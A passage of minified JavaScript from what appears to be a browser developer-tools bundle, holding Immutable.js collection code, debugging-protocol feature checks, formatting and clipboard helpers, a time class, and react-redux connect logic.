t=this.size,n=this._head;e.reverse().forEach(function(e){t++;n={value:e,next:n}});if(this.__ownerID){this.size=t;this._head=n;this.__hash=void 0;this.__altered=!0;return this}return Xn(t,n)};jn.prototype.pop=function(){return this.slice(1)};jn.prototype.unshift=function(){return this.push.apply(this,arguments)};jn.prototype.unshiftAll=function(e){return this.pushAll(e)};jn.prototype.shift=function(){return this.pop.apply(this,arguments)};jn.prototype.clear=function(){if(0===this.size)return this;if(this.__ownerID){this.size=0;this._head=void 0;this.__hash=void 0;this.__altered=!0;return this}return Jn()};jn.prototype.slice=function(e,t){if(O(e,t,this.size))return this;var n=L(e,this.size);if(D(t,this.size)!==this.size)return Te.prototype.slice.call(this,e,t);for(var o=this.size-n,r=this._head;n--;)r=r.next;if(this.__ownerID){this.size=o;this._head=r;this.__hash=void 0;this.__altered=!0;return this}return Xn(o,r)};jn.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;if(!e){this.__ownerID=e;this.__altered=!1;return this}return Xn(this.size,this._head,e,this.__hash)};jn.prototype.__iterate=function(e,t){if(t)return this.reverse().__iterate(e);for(var n=0,o=this._head;o&&!1!==e(o.value,n++,this);)o=o.next;return n};jn.prototype.__iterator=function(e,t){if(t)return this.reverse().__iterator(e);var n=0,o=this._head;return new H(function(){if(o){var t=o.value;o=o.next;return W(e,n++,t)}return U()})};function Gn(e){return!(!e||!e[Kn])}jn.isStack=Gn;var Vn,Kn="@@__IMMUTABLE_STACK__@@",qn=jn.prototype;qn[Kn]=!0;qn.withMutations=Xe.withMutations;qn.asMutable=Xe.asMutable;qn.asImmutable=Xe.asImmutable;qn.wasAltered=Xe.wasAltered;function Xn(e,t,n,o){var r=Object.create(qn);r.size=e;r._head=t;r.__ownerID=n;r.__hash=o;r.__altered=!1;return r}function Jn(){return Vn||(Vn=Xn(0))}function Yn(e,t){var n=function(n){e.prototype[n]=t[n]};Object.keys(t).forEach(n);Object.getOwnPropertySymbols&&Object.getOwnPropertySymbols(t).forEach(n);return e}n.Iterator=H;Yn(n,{toArray:function(){je(this.size);var e=new Array(this.size||0);this.valueSeq().__iterate(function(t,n){e[n]=t});return e},toIndexedSeq:function(){return new Xt(this)},toJS:function(){return this.toSeq().map(function(e){return e&&"function"==typeof e.toJS?e.toJS():e}).__toJS()},toJSON:function(){return this.toSeq().map(function(e){return e&&"function"==typeof e.toJSON?e.toJSON():e}).__toJS()},toKeyedSeq:function(){return new qt(this,!0)},toMap:function(){return Ge(this.toKeyedSeq())},toObject:function(){je(this.size);var e={};this.__iterate(function(t,n){e[n]=t});return e},toOrderedMap:function(){return zt(this.toKeyedSeq())},toOrderedSet:function(){return Nn(s(this)?this.valueSeq():this)},toSet:function(){return On(s(this)?this.valueSeq():this)},toSetSeq:function(){return new Jt(this)},toSeq:function(){return l(this)?this.toIndexedSeq():s(this)?this.toKeyedSeq():this.toSetSeq()},toStack:function(){return jn(s(this)?this.valueSeq():this)},toList:function(){return Tt(s(this)?this.valueSeq():this)},toString:function(){return"[Iterable]"},__toString:function(e,t){return 0===this.size?e+t:e+" "+this.toSeq().map(this.__toStringMapper).join(", ")+" "+t},concat:function(){return gn(this,sn(this,e.call(arguments,0)))},includes:function(e){return this.some(function(t){return _e(t,e)})},entries:function(){return this.__iterator(A)},every:function(e,t){je(this.size);var n=!0;this.__iterate(function(o,r,i){if(!e.call(t,o,r,i)){n=!1;return!1}});return n},filter:function(e,t){return gn(this,en(this,e,t,!0))},find:function(e,t,n){var o=this.findEntry(e,t);return o?o[1]:n},forEach:function(e,t){je(this.size);return this.__iterate(t?e.bind(t):e)},join:function(e){je(this.size);e=void 0!==e?""+e:",";var t="",n=!0;this.__iterate(function(o){n?n=!1:t+=e;t+=null!==o&&void 0!==o?o.toString():""});return t},keys:function(){return this.__iterator(P)},map:function(e,t){return gn(this,Zt(this,e,t))},reduce:function(e,t,n){je(this.size);var o,r;arguments.length<2?r=!0:o=t;this.__iterate(function(t,i,a){if(r){r=!1;o=t}else o=e.call(n,o,t,i,a)});return o},reduceRight:function(e,t,n){var o=this.toKeyedSeq().reverse();return o.reduce.apply(o,arguments)},reverse:function(){return gn(this,Qt(this,!0))},slice:function(e,t){return gn(this,on(this,e,t,!0))},some:function(e,t){return!this.every(to(e),t)},sort:function(e){return gn(this,dn(this,e))},values:function(){return this.__iterator(M)},butLast:function(){return this.slice(0,-1)},isEmpty:function(){return void 0!==this.size?0===this.size:!this.some(function(){return!0})},count:function(e,t){return k(e?this.toSeq().filter(e,t):this)},countBy:function(e,t){return tn(this,e,t)},equals:function(e){return ve(this,e)},entrySeq:function(){var e=this;if(e._cache)return new te(e._cache);var t=e.toSeq().map(eo).toIndexedSeq();t.fromEntrySeq=function(){return e.toSeq()};return t},filterNot:function(e,t){return this.filter(to(e),t)},findEntry:function(e,t,n){var o=n;this.__iterate(function(n,r,i){if(e.call(t,n,r,i)){o=[r,n];return!1}});return o},findKey:function(e,t){var n=this.findEntry(e,t);return n&&n[0]},findLast:function(e,t,n){return this.toKeyedSeq().reverse().find(e,t,n)},findLastEntry:function(e,t,n){return this.toKeyedSeq().reverse().findEntry(e,t,n)},findLastKey:function(e,t){return this.toKeyedSeq().reverse().findKey(e,t)},first:function(){return this.find(I)},flatMap:function(e,t){return gn(this,cn(this,e,t))},flatten:function(e){return gn(this,ln(this,e,!0))},fromEntrySeq:function(){return new Yt(this)},get:function(e,t){return this.find(function(t,n){return _e(n,e)},void 0,t)},getIn:function(e,t){for(var n,o=this,r=En(e);!(n=r.next()).done;){var i=n.value;if((o=o&&o.get?o.get(i,b):b)===b)return t}return o},groupBy:function(e,t){return nn(this,e,t)},has:function(e){return this.get(e,b)!==b},hasIn:function(e){return this.getIn(e,b)!==b},isSubset:function(e){e="function"==typeof e.includes?e:n(e);return this.every(function(t){return e.includes(t)})},isSuperset:function(e){return(e="function"==typeof e.isSubset?e:n(e)).isSubset(this)},keyOf:function(e){return this.findKey(function(t){return _e(t,e)})},keySeq:function(){return this.toSeq().map(Qn).toIndexedSeq()},last:function(){return this.toSeq().reverse().first()},lastKeyOf:function(e){return this.toKeyedSeq().reverse().keyOf(e)},max:function(e){return hn(this,e)},maxBy:function(e,t){return hn(this,t,e)},min:function(e){return hn(this,e?no(e):io)},minBy:function(e,t){return hn(this,t?no(t):io,e)},rest:function(){return this.slice(1)},skip:function(e){return this.slice(Math.max(0,e))},skipLast:function(e){return gn(this,this.toSeq().reverse().skip(e).reverse())},skipWhile:function(e,t){return gn(this,an(this,e,t,!0))},skipUntil:function(e,t){return this.skipWhile(to(e),t)},sortBy:function(e,t){return gn(this,dn(this,t,e))},take:function(e){return this.slice(0,Math.max(0,e))},takeLast:function(e){return gn(this,this.toSeq().reverse().take(e).reverse())},takeWhile:function(e,t){return gn(this,rn(this,e,t))},takeUntil:function(e,t){return this.takeWhile(to(e),t)},valueSeq:function(){return this.toIndexedSeq()},hashCode:function(){return this.__hash||(this.__hash=ao(this))}});var $n=n.prototype;$n[d]=!0;$n[F]=$n.values;$n.__toJS=$n.toArray;$n.__toStringMapper=oo;$n.inspect=$n.toSource=function(){return this.toString()};$n.chain=$n.flatMap;$n.contains=$n.includes;Yn(o,{flip:function(){return gn(this,$t(this))},mapEntries:function(e,t){var n=this,o=0;return gn(this,this.toSeq().map(function(r,i){return e.call(t,[i,r],o++,n)}).fromEntrySeq())},mapKeys:function(e,t){var n=this;return gn(this,this.toSeq().flip().map(function(o,r){return e.call(t,o,r,n)}).flip())}});var Zn=o.prototype;Zn[h]=!0;Zn[F]=$n.entries;Zn.__toJS=$n.toObject;Zn.__toStringMapper=function(e,t){return JSON.stringify(t)+": "+oo(e)};Yn(r,{toKeyedSeq:function(){return new qt(this,!1)},filter:function(e,t){return gn(this,en(this,e,t,!1))},findIndex:function(e,t){var n=this.findEntry(e,t);return n?n[0]:-1},indexOf:function(e){var t=this.keyOf(e);return void 0===t?-1:t},lastIndexOf:function(e){var t=this.lastKeyOf(e);return void 0===t?-1:t},reverse:function(){return gn(this,Qt(this,!1))},slice:function(e,t){return gn(this,on(this,e,t,!1))},splice:function(e,t){var n=arguments.length;t=Math.max(0|t,0);if(0===n||2===n&&!t)return this;e=L(e,e<0?this.count():this.size);var o=this.slice(0,e);return gn(this,1===n?o:o.concat(w(arguments,2),this.slice(e+t)))},findLastIndex:function(e,t){var n=this.findLastEntry(e,t);return n?n[0]:-1},first:function(){return this.get(0)},flatten:function(e){return gn(this,ln(this,e,!1))},get:function(e,t){return(e=x(this,e))<0||this.size===1/0||void 0!==this.size&&e>this.size?t:this.find(function(t,n){return n===e},void 0,t)},has:function(e){return(e=x(this,e))>=0&&(void 0!==this.size?this.size===1/0||e<this.size:-1!==this.indexOf(e))},interpose:function(e){return gn(this,un(this,e))},interleave:function(){var e=[this].concat(w(arguments)),t=mn(this.toSeq(),J.of,e),n=t.flatten(!0);t.size&&(n.size=t.size*e.length);return gn(this,n)},keySeq:function(){return ye(0,this.size)},last:function(){return this.get(-1)},skipWhile:function(e,t){return gn(this,an(this,e,t,!1))},zip:function(){return gn(this,mn(this,ro,[this].concat(w(arguments))))},zipWith:function(e){var t=w(arguments);t[0]=this;return gn(this,mn(this,e,t))}});r.prototype[p]=!0;r.prototype[m]=!0;Yn(i,{get:function(e,t){return this.has(e)?e:t},includes:function(e){return this.has(e)},keySeq:function(){return this.valueSeq()}});i.prototype.has=$n.includes;i.prototype.contains=i.prototype.includes;Yn(X,o.prototype);Yn(J,r.prototype);Yn(Y,i.prototype);Yn(Se,o.prototype);Yn(Te,r.prototype);Yn(we,i.prototype);function Qn(e,t){return t}function eo(e,t){return[t,e]}function to(e){return function(){return!e.apply(this,arguments)}}function no(e){return function(){return-e.apply(this,arguments)}}function oo(e){return"string"==typeof e?JSON.stringify(e):String(e)}function ro(){return w(arguments)}function io(e,t){return e<t?1:e>t?-1:0}function ao(e){if(e.size===1/0)return 0;var t=u(e),n=s(e),o=t?1:0;return so(e.__iterate(n?t?function(e,t){o=31*o+lo(Ie(e),Ie(t))|0}:function(e,t){o=o+lo(Ie(e),Ie(t))|0}:t?function(e){o=31*o+Ie(e)|0}:function(e){o=o+Ie(e)|0}),o)}function so(e,t){t=ke(t,3432918353);t=ke(t<<15|t>>>-15,461845907);t=ke(t<<13|t>>>-13,5);t=ke((t=(t+3864292196|0)^e)^t>>>16,2246822507);return t=xe((t=ke(t^t>>>13,3266489909))^t>>>16)}function lo(e,t){return e^t+2654435769+(e<<6)+(e>>2)|0}return{Iterable:n,Seq:q,Collection:Ee,Map:Ge,OrderedMap:zt,List:Tt,Stack:jn,Set:On,OrderedSet:Nn,Record:Sn,Range:ye,Repeat:be,is:_e,fromJS:pe}},e.exports=o();var o},function(e,t,n){"use strict";n.r(t);n.d(t,"getProtocolJson",function(){return d});n.d(t,"testForFeature",function(){return m});n.d(t,"isCoreConsoleSupported",function(){return g});n.d(t,"isDomTreeReadonlySupported",function(){return f});n.d(t,"isDomTreeSelectNodeForConsoleSupported",function(){return _});n.d(t,"isDomSelectElementByClickSupported",function(){return v});n.d(t,"areBreakpointsSupported",function(){return b});n.d(t,"isEdpEnabled",function(){return C});n.d(t,"isEdpFeatureEnabled",function(){return y});n.d(t,"getPluginManifest",function(){return E});n.d(t,"getActivePluginList",function(){return S});n.d(t,"getSupportedPlugins",function(){return T});n.d(t,"buildAvailabilityMatrix",function(){return w});n.d(t,"isF12FeatureEnabled",function(){return x});var o=n(6),r=n(161),i=n(5),a=n(35);const s="F12_ENABLE_EDP",l="F12_CHOOSER_ENABLE_EDP",c="F12_SIMULATE_REMOTE",u={domains:[],version:{major:"0",minor:"1"}},d=Object(a.d)(()=>"1"===i.b.utilities.getEnvironmentVariable(s)?u:i.b.protocolJson?JSON.parse(i.b.protocolJson):void 0);let h=Object(a.d)(()=>{const e=new Set;let t=d();if(t){m(["Breakpoints","CoreConsole","DomTreeReadonly","DomTreeSelectElement"],t,e)}return e}),p=Object(a.d)(()=>{const e=i.b.launchMode,t=new Set;switch(e){case i.a.Remote:break;case i.a.Classic:case i.a.Edge:t.add("WindowManipulation");t.add("SplitConsole");break;case i.a.Chooser:case i.a.ChooserViaVS:case i.a.WWA:t.add("SplitConsole")}return t});function m(e,t,n){e.forEach(e=>{switch(e){case"Breakpoints":b(t)&&n.add("Breakpoints");break;case"CoreConsole":g(t)&&n.add("CoreConsole");break;case"DomTreeReadonly":f(t)&&n.add("DomTreeReadonly");break;case"DomTreeSelectNodeForConsole":_(t)&&n.add("DomTreeSelectNodeForConsole");break;case"DomTreeSelectElement":v(t)&&n.add("DomTreeSelectElement")}})}function g(e){let t=!1,n=!1;e.domains.forEach(e=>{if("runtime"===e.domain.toLowerCase()){e.events.forEach(e=>{"consoleapicalled"===e.name.toLowerCase()&&(t=!0)});e.commands.forEach(e=>{"evaluate"===e.name.toLowerCase()&&(n=!0)})}});return t&&n}function f(e){return e.domains.some(e=>"DOM"===e.domain)&&e.domains.some(e=>"CSS"===e.domain)}function _(e){return e.domains.some(e=>"DOM"===e.domain&&e.commands.some(e=>"setInspectedNode"===e.name))}function v(e){return e.domains.some(e=>"Overlay"===e.domain&&e.commands.some(e=>"setInspectMode"===e.name))}function b(e){let t=!1;e.domains.forEach(e=>{"debugger"===e.domain.toLowerCase()&&e.commands.forEach(e=>{const n=e.name.toLowerCase();"setbreakpointbyurl"!==n&&"setbreakpoint"!==n||(t=!0)})});return t}function C(){return i.b.launchMode===i.a.Chooser?"1"===i.b.utilities.getEnvironmentVariable(l):i.b.launchMode===i.a.Edge?"1"===i.b.utilities.getEnvironmentVariable(s):i.b.launchMode===i.a.Remote}function y(e){return h().has(e)}function E(e){return Object(r.b)(e)}function S(){return i.b.header.getPluginInfos()}function T(e,t){"1"===i.b.utilities.getEnvironmentVariable(c)&&(e=i.a.Remote);return w(i.b.header.getPluginInfos(),E)[e][t]}function w(e,t){const n=[];for(const r of e)try{const e=t(r.scriptId);e.enabled&&e.launchers.forEach(t=>{n[i.a[t.mode]]||(n[i.a[t.mode]]=[]);t.hostTypes.forEach(r=>{n[i.a[t.mode]][o.b[r]]||(n[i.a[t.mode]][o.b[r]]=[]);"remote"===t.mode.toLowerCase()?k(e.pluginId)&&n[i.a[t.mode]][o.b[r]].push({id:e.pluginId,scriptId:e.scriptId}):n[i.a[t.mode]][o.b[r]].push({id:e.pluginId,scriptId:e.scriptId})})})}catch(e){}return n}function k(e){switch(e){case o.c.console:return y("CoreConsole");case o.c.elements:return y("DomTreeReadonly");default:return!0}}function x(e){return p().has(e)}},function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(46),r=n(0),i=n(26);class a{static convertFormatString(e){for(var t=e,n=0;;){var o="{"+n+"}";if(-1===t.indexOf(o))break;for(;t.indexOf(o)>=0;)t=t.replace(o,"%s");n++}return t}static getDecimalLocaleString(e,t){var n=Math.abs(e).toString(),r=n.split(/e/i);n=r[0];var i=r.length>1?parseInt(r[1],10):0;r=n.split(".");n=(e<0?"-":"")+r[0];var s=r.length>1?r[1]:"";if(i>0){n+=(s=a.zeroPad(s,i,!1)).slice(0,i);s=s.substr(i)}else if(i<0){i=-i;s=(n=a.zeroPad(n,i+1,!0)).slice(-i,n.length)+s;n=n.slice(0,-i)}var l=o.a.NumberFormat;l||(l={currencyDecimalDigits:"",currencyDecimalSeparator:"",currencyGroupSeparator:"",currencyGroupSizes:void 0,currencyNegativePattern:"",currencyPositivePattern:"",currencySymbol:"",nanSymbol:"",negativeInfinitySymbol:"",negativeSign:"",numberDecimalDigits:"",numberDecimalSeparator:".",numberGroupSeparator:",",numberGroupSizes:[3],numberNegativePattern:"",percentDecimalDigits:"",percentDecimalSeparator:"",percentGroupSeparator:"",percentGroupSizes:void 0,percentNegativePattern:"",percentPositivePattern:"",percentSymbol:"",perMilleSymbol:"",positiveInfinitySymbol:"",positiveSign:""});s.length>0&&(s=l.numberDecimalSeparator+s);if(t){for(var c=l.numberGroupSizes,u=l.numberGroupSeparator,d=c[0],h=1,p=n.length-1,m="";p>=0;){if(0===d||d>p)return m.length>0?n.slice(0,p+1)+u+m+s:n.slice(0,p+1)+s;m=m.length>0?n.slice(p-d+1,p+1)+u+m:n.slice(p-d+1,p+1);p-=d;if(h<c.length){d=c[h];h++}}return n.slice(0,p+1)+u+m+s}return n+s}static getPrettyPrintSize(e){var t,n=0;if(Math.abs(e)>a.BYTE_PER_GIGABYTE){n=e/a.BYTE_PER_GIGABYTE;t=Object(r.b)("/Common/GigabyteUnits")}else if(Math.abs(e)>a.BYTE_PER_MEGABYTE){n=e/a.BYTE_PER_MEGABYTE;t=Object(r.b)("/Common/MegabyteUnits")}else if(Math.abs(e)>a.BYTE_PER_KILLOBYTE){n=e/a.BYTE_PER_KILLOBYTE;t=Object(r.b)("/Common/KilobyteUnits")}else{n=e;t=Object(r.b)("/Common/ByteUnits")}return a.getDecimalLocaleString(parseFloat(n.toFixed(2)),!0)+" "+t}static getPrettyPrintTime(e,t){var n,o,s;if(0===e.nsec){o=0;s=Object(r.b)("SecondsAbbreviation")}else if(e.lessThan(i.a.OneMillisecond)){o=parseFloat(e.msec.toPrecision(2));s=Object(r.b)("MillisecondsAbbreviation")}else if(e.lessThan(i.a.OneSecond)){o=t&&t.roundMillisecondValue?Math.round(e.msec):Math.floor(100*e.msec)/100;s=Object(r.b)("MillisecondsAbbreviation")}else if(t&&t.showTimeOnly){var l=new Date(e.msec);o=0;n=l.toLocaleTimeString()}else{o=Math.floor(100*e.sec)/100;s=Object(r.b)("SecondsAbbreviation")}n||(n=a.getDecimalLocaleString(o,!0)+" "+s);return n}static stripNewLine(e){return e.replace(/[\r?\n]/g,"")}static fileLineColumnFormat(e,t,n){return e+" ("+t+","+n+")"}static fileLineFormat(e,t){return e+" ("+t+")"}static zeroPad(e,t,n){for(var o=[],r=e.length;r<t;r++)o.push("0");return n?o.join("")+e:e+o.join("")}}a.BYTE_PER_KILLOBYTE=1024;a.BYTE_PER_MEGABYTE=1048576;a.BYTE_PER_GIGABYTE=1073741824},function(e,t,n){"use strict";Object.setPrototypeOf||Array;Object.assign;function o(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(o=Object.getOwnPropertySymbols(e);r<o.length;r++)t.indexOf(o[r])<0&&(n[o[r]]=e[o[r]])}return n}var r=n(1);n.d(t,"a",function(){return i});class i extends r.PureComponent{render(){const e=this.props,{style:t}=e,n=o(e,["style"]);return r.createElement("svg",Object.assign({},n,{style:Object.assign({minWidth:this.props.width},t),fill:"currentColor",focusable:"false"}),this.props.children)}}i.defaultProps={height:14,width:14,viewBox:"0 0 448 448"}},function(e,t,n){"use strict";n.r(t);n.d(t,"copyPlainText",function(){return r});n.d(t,"getPasteTextAsync",function(){return a});var o=n(5);function r(e){null!==e&&void 0!==e||(e="");o.b.utilities.setClipboardText(e)}function i(e){return!!e.getClipboardTextAsync}function a(){const e=o.b.utilities;return i(e)?e.getClipboardTextAsync():Promise.resolve(e.getClipboardText())}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e=0){this._nsec=e}get nsec(){return this._nsec}get msec(){return this._nsec/o.NANOSECOND_PER_MILLISECOND}get sec(){return this._nsec/o.NANOSECOND_PER_SECOND}static compare(e,t){return e.compare(t)}static fromNanoseconds(e){return new o(e)}static fromMilliseconds(e){return new o(e*o.NANOSECOND_PER_MILLISECOND)}static fromSeconds(e){return new o(e*o.NANOSECOND_PER_SECOND)}static min(e,t){return t.greaterThan(e)?e:t}static max(e,t){return e.lessThan(t)?t:e}add(e){return new o(this._nsec+e.nsec)}compare(e){return this._nsec-e.nsec}equals(e){return this._nsec===e.nsec}lessThan(e){return this._nsec<e.nsec}greaterThan(e){return this._nsec>e.nsec}subtract(e){return new o(this._nsec-e.nsec)}}o.NANOSECOND_PER_MILLISECOND=1e6;o.NANOSECOND_PER_SECOND=1e9;o.MaxTime=new o(Number.MAX_VALUE);o.OneMillisecond=o.fromMilliseconds(1);o.OneSecond=o.fromSeconds(1);o.Zero=o.fromSeconds(0)},function(e,t,n){"use strict";n.r(t);n.d(t,"loadScripts",function(){return r});n.d(t,"startPreload",function(){return i});n.d(t,"callRemote",function(){return a});n.d(t,"callEdp",function(){return s});var o=n(10);function r(e,t){Object(o.g)().call("ms:host","loadScripts",[e,t])}function i(e){Object(o.g)().call("ms:host","preloadTools",[e])}function a(e,t,n){return Object(o.g)().call("ms:host","callRemote",[e,t,n])}function s(e,t){let n;switch(e){case"clearConsoleData":n="discardConsoleEntries";break;case"getIntellisenseItemsForExpressionWrapper":n="getIntellisenseChoices";break;case"processInput":n="evaluate";break;default:n=e}return Object(o.g)().call("ms:host","callEdp",[n,t])}},function(e,t,n){"use strict";n.d(t,"b",function(){return c});n.d(t,"c",function(){return u});n.d(t,"a",function(){return h});var o=n(13);const r=new Map;let i=!1,a=!1;function s(){if(!a){a=!0;l()}}function l(){i=Object(o.v)();const e=Object(o.m)();Object.keys(e).forEach(t=>{r.set(t,e[t])})}function c(){s();return i}function u(e){s();return r.get(e)}const d=/rgba?\((\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})/i;function h(e,t){let n=e;if(c()){const e=u(t);e&&(n=m(e))}return n}function p(e){const t=e.toString(16);return 1===t.length?"0"+t:t}function m(e){const t=e.match(d);if(t&&4===t.length)return p(Number(t[1]))+p(Number(t[2]))+p(Number(t[3]));throw new Error("Unexpected platform colors")}},function(e,t,n){"use strict";var o=n(1),r=n(32),i=n.n(r),a=i.a.shape({trySubscribe:i.a.func.isRequired,tryUnsubscribe:i.a.func.isRequired,notifyNestedSubs:i.a.func.isRequired,isSubscribed:i.a.func.isRequired}),s=i.a.shape({subscribe:i.a.func.isRequired,dispatch:i.a.func.isRequired,getState:i.a.func.isRequired});function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function u(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}});t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function d(){var e,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"store",n=arguments[1]||t+"Subscription",r=function(e){u(r,e);r.prototype.getChildContext=function(){var e;return(e={})[t]=this[t],e[n]=null,e};function r(n,o){l(this,r);var i=c(this,e.call(this,n,o));i[t]=n.store;return i}r.prototype.render=function(){return o.Children.only(this.props.children)};return r}(o.Component);0;r.propTypes={store:s.isRequired,children:i.a.element.isRequired};r.childContextTypes=((e={})[t]=s.isRequired,e[n]=a,e);return r}var h=d(),p=n(196),m=n.n(p),g=n(177),f=n.n(g);function _(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var v=null,b={notify:function(){}};function C(){var e=[],t=[];return{clear:function(){t=v;e=v},notify:function(){for(var n=e=t,o=0;o<n.length;o++)n[o]()},get:function(){return t},subscribe:function(n){var o=!0;t===e&&(t=e.slice());t.push(n);return function(){if(o&&e!==v){o=!1;t===e&&(t=e.slice());t.splice(t.indexOf(n),1)}}}}}var y=function(){function e(t,n,o){_(this,e);this.store=t;this.parentSub=n;this.onStateChange=o;this.unsubscribe=null;this.listeners=b}e.prototype.addNestedSub=function(e){this.trySubscribe();return this.listeners.subscribe(e)};e.prototype.notifyNestedSubs=function(){this.listeners.notify()};e.prototype.isSubscribed=function(){return Boolean(this.unsubscribe)};e.prototype.trySubscribe=function(){if(!this.unsubscribe){this.unsubscribe=this.parentSub?this.parentSub.addNestedSub(this.onStateChange):this.store.subscribe(this.onStateChange);this.listeners=C()}};e.prototype.tryUnsubscribe=function(){if(this.unsubscribe){this.unsubscribe();this.unsubscribe=null;this.listeners.clear();this.listeners=b}};return e}(),E=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};function S(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function T(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function w(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}});t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function k(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}var x=0,I={};function O(){}function L(e,t){var n={run:function(o){try{var r=e(t.getState(),o);if(r!==n.props||n.error){n.shouldComponentUpdate=!0;n.props=r;n.error=null}}catch(e){n.shouldComponentUpdate=!0;n.error=e}}};return n}function D(e){var t,n,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.getDisplayName,l=void 0===i?function(e){return"ConnectAdvanced("+e+")"}:i,c=r.methodName,u=void 0===c?"connectAdvanced":c,d=r.renderCountProp,h=void 0===d?void 0:d,p=r.shouldHandleStateChanges,g=void 0===p||p,_=r.storeKey,v=void 0===_?"store":_,b=r.withRef,C=void 0!==b&&b,D=k(r,["getDisplayName","methodName","renderCountProp","shouldHandleStateChanges","storeKey","withRef"]),R=v+"Subscription",P=x++,M=((t={})[v]=s,t[R]=a,t),A=((n={})[R]=a,n);return function(t){f()("function"==typeof t,"You must pass a component to the function returned by "+u+". Instead received "+JSON.stringify(t));var n=t.displayName||t.name||"Component",r=l(n),i=E({},D,{getDisplayName:l,methodName:u,renderCountProp:h,shouldHandleStateChanges:g,storeKey:v,withRef:C,displayName:r,wrappedComponentName:n,WrappedComponent:t}),a=function(n){w(a,n);function a(e,t){S(this,a);var o=T(this,n.call(this,e,t));o.version=P;o.state={};o.renderCount=0;o.store=e[v]||t[v];o.propsMode=Boolean(e[v]);o.setWrappedInstance=o.setWrappedInstance.bind(o);f()(o.store,'Could not find "'+v+'" in either the context or props of "'+r+'". Either wrap the root component in a <Provider>, or explicitly pass "'+v+'" as a prop to "'+r+'".');o.initSelector();o.initSubscription();return o}a.prototype.getChildContext=function(){var e,t=this.propsMode?null:this.subscription;return(e={})[R]=t||this.context[R],e};a.prototype.componentDidMount=function(){if(g){this.subscription.trySubscribe();this.selector.run(this.props);this.selector.shouldComponentUpdate&&this.forceUpdate()}};a.prototype.componentWillReceiveProps=function(e){this.selector.run(e)};a.prototype.shouldComponentUpdate=function(){return this.selector.shouldComponentUpdate};a.prototype.componentWillUnmount=function(){this.subscription&&this.subscription.tryUnsubscribe();this.subscription=null;this.notifyNestedSubs=O;this.store=null;this.selector.run=O;this.selector.shouldComponentUpdate=!1};a.prototype.getWrappedInstance=function(){f()(C,"To access the wrapped instance, you need to specify { withRef: true } in the options argument of the "+u+"() call.");return this.wrappedInstance};a.prototype.setWrappedInstance=function(e){this.wrappedInstance=e};a.prototype.initSelector=function(){var t=e(this.store.dispatch,i);this.selector=L(t,this.store);this.selector.run(this.props)};a.prototype.initSubscription=function(){if(g){var e=(this.propsMode?this.props:this.context)[R];this.subscription=new y(this.store,e,this.onStateChange.bind(this));this.notifyNestedSubs=this.subscription.notifyNestedSubs.bind(this.subscription)}};a.prototype.onStateChange=function(){this.selector.run(this.props);if(this.selector.shouldComponentUpdate){this.componentDidUpdate=this.notifyNestedSubsOnComponentDidUpdate;this.setState(I)}else this.notifyNestedSubs()};a.prototype.notifyNestedSubsOnComponentDidUpdate=function(){this.componentDidUpdate=void 0;this.notifyNestedSubs()};a.prototype.isSubscribed=function(){return Boolean(this.subscription)&&this.subscription.isSubscribed()};a.prototype.addExtraProps=function(e){if(!(C||h||this.propsMode&&this.subscription))return e;var t=E({},e);C&&(t.ref=this.setWrappedInstance);h&&(t[h]=this.renderCount++);this.propsMode&&this.subscription&&(t[R]=this.subscription);return t};a.prototype.render=function(){var e=this.selector;e.shouldComponentUpdate=!1;if(e.error)throw e.error;return Object(o.createElement)(t,this.addExtraProps(e.props))};return a}(o.Component);a.WrappedComponent=t;a.displayName=r;a.childContextTypes=A;a.contextTypes=M;a.propTypes=M;0;return m()(a,t)}}var R=Object.prototype.hasOwnProperty;function P(e,t){return e===t?0!==e||0!==t||1/e==1/t:e!=e&&t!=t}function M(e,t){if(P(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),o=Object.keys(t);if(n.length!==o.length)return!1;for(var r=0;r<n.length;r++)if(!R.call(t,n[r])||!P(e[n[r]],t[n[r]]))return!1;return!0}var A=n(49);n(179);function B(e){return function(t,n){var o=e(t,n);function r(){return o}r.dependsOnOwnProps=!1;return r}}function N(e){return null!==e.dependsOnOwnProps&&void 0!==e.dependsOnOwnProps?Boolean(e.dependsOnOwnProps):1!==e.length}function F(e,t){return function(t,n){n.displayName;var o=function(e,t){return o.dependsOnOwnProps?o.mapToProps(e,t):o.mapToProps(e)};o.dependsOnOwnProps=!0;o.mapToProps=function(t,n){o.mapToProps=e;o.dependsOnOwnProps=N(e);var r=o(t,n);if("function"==typeof r){o.mapToProps=r;o.dependsOnOwnProps=N(r);r=o(t,n)}0;return r};return o}}function H(e){return"function"==typeof e?F(e,"mapDispatchToProps"):void 0}function W(e){return e?void 0:B(function(e){return{dispatch:e}})}function U(e){return e&&"object"==typeof e?B(function(t){return Object(A.b)(e,t)}):void 0}var z=[H,W,U];function j(e){return"function"==typeof 